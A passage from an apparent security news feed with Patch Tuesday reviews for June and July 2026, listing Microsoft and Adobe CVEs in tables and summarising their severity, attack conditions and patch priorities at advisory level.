  <td width="256" class="xl68">Windows SDK Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42906"><span>CVE-2026-42906</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42907"><span>CVE-2026-42907</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47648"><span>CVE-2026-47648</span></a></td>
  <td width="256" class="xl68">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42915"><span>CVE-2026-42915</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42904"><span>CVE-2026-42904</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42968"><span>CVE-2026-42968</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42912"><span>CVE-2026-42912</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45597"><span>CVE-2026-45597</span></a></td>
  <td width="256" class="xl68">Windows UI Automation
  Manager (uiamanager.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45599"><span>CVE-2026-45599</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45635"><span>CVE-2026-45635</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40409"><span>CVE-2026-40409</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40404"><span>CVE-2026-40404</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42989"><span>CVE-2026-42989</span></a></td>
  <td width="256" class="xl68">Winlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.</p><p class="">Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.</p><p class="">There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be. </p><p class="">Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. </p><p class="">Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.</p><p class="">There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.</p><p class="">I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.</p><p class="">There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p><p class=""> </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The July 2026 Security Update Review]]></title>
<description><![CDATA[Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly...]]></description>
<link>https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:51 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for July 2026</strong></p><p class="">Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.</p><p class="">For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html" target="_blank">APSB26-82</a></td>
    <td>Adobe ColdFusion</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.9</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-73.html" target="_blank">APSB26-73</a></td>
    <td>Adobe Commerce</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-78.html" target="_blank">APSB26-78</a></td>
    <td>Adobe After Effects</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/animate/apsb26-83.html" target="_blank">APSB26-83</a></td>
    <td>Adobe Animate</td>
    <td>6</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/audition/apsb26-71.html" target="_blank">APSB26-71</a></td>
    <td>Adobe Audition</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-81.html" target="_blank">APSB26-81</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html" target="_blank">APSB26-77</a></td>
    <td>Adobe Creative Cloud Desktop Application</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.1</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-74.html" target="_blank">APSB26-74</a></td>
    <td>Adobe Experience Manager</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-79.html" target="_blank">APSB26-79</a></td>
    <td>Adobe Illustrator</td>
    <td>5</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-72.html" target="_blank">APSB26-72</a></td>
    <td>Adobe Media Encoder</td>
    <td>5</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-76.html" target="_blank">APSB26-76</a></td>
    <td>Adobe Premiere Pro</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-80.html" target="_blank">APSB26-80</a></td>
    <td>Content Credentials SDK</td>
    <td>12</td>
    <td>Critical</td>
    <td>8.2</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>12 bulletins</td>
    <td>88</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here. </p><p class=""><strong>Microsoft Patches for July 2026</strong></p><p class="">Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png" data-image-dimensions="2158x1150" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w" width="2158" height="1150" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  





  <p class="">The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.</p><p class="">So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><strong>CVE-2026-56155</strong></a><strong> - Active Directory Federation Services Elevation of Privilege Vulnerability<br></strong>This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56154"><strong>CVE-2026-56164</strong></a><strong> - Microsoft SharePoint Server Elevation of Privilege Vulnerability<br></strong>The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><strong>CVE-2026-57092</strong></a><strong> - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability<br></strong>This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><strong>CVE-2026-50522</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><strong>58644</strong></a><strong> - Microsoft SharePoint Remote Code Execution Vulnerability<br></strong>This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during <a href="https://www.zerodayinitiative.com/blog/2026/5/16/pwn2own-berlin-2026-day-three-results-and-master-of-pwn">Pwn2Own Berlin</a>, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><strong>CVE-2026-56190</strong></a><strong> - Remote Desktop Protocol Remote Code Execution Vulnerability</strong><br> This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><strong>CVE-2026-55008</strong></a><strong> - Microsoft Exchange Server Spoofing Vulnerability<br></strong>Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><strong>CVE-2026-50518</strong></a><strong> - Windows DHCP Server Remote Code Execution Vulnerability<br></strong>There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><strong>CVE-2026-56188</strong></a><strong> - Windows Server Network driver Remote Code Execution Vulnerability<br></strong>Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><strong>CVE-2026-55010</strong></a><strong> - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability<br></strong>File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.</p><p class="">Here’s the full list of CVEs released by Microsoft for July 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-Jul-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a></td>
  <td width="256" class="xl74">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl70">Yes</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121"><span>CVE-2026-54121</span></a></td>
  <td width="256" class="xl74">Active Directory
  Certificate Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45499"><span>CVE-2026-45499 **</span></a></td>
  <td width="256" class="xl74">Azure OpenAI Elevation
  of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564"><span>CVE-2026-48564</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370"><span>CVE-2026-50370</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159"><span>CVE-2026-56159</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382"><span>CVE-2026-50382</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41106"><span>CVE-2026-41106 **</span></a></td>
  <td width="256" class="xl74">Microsoft 365 Copilot
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
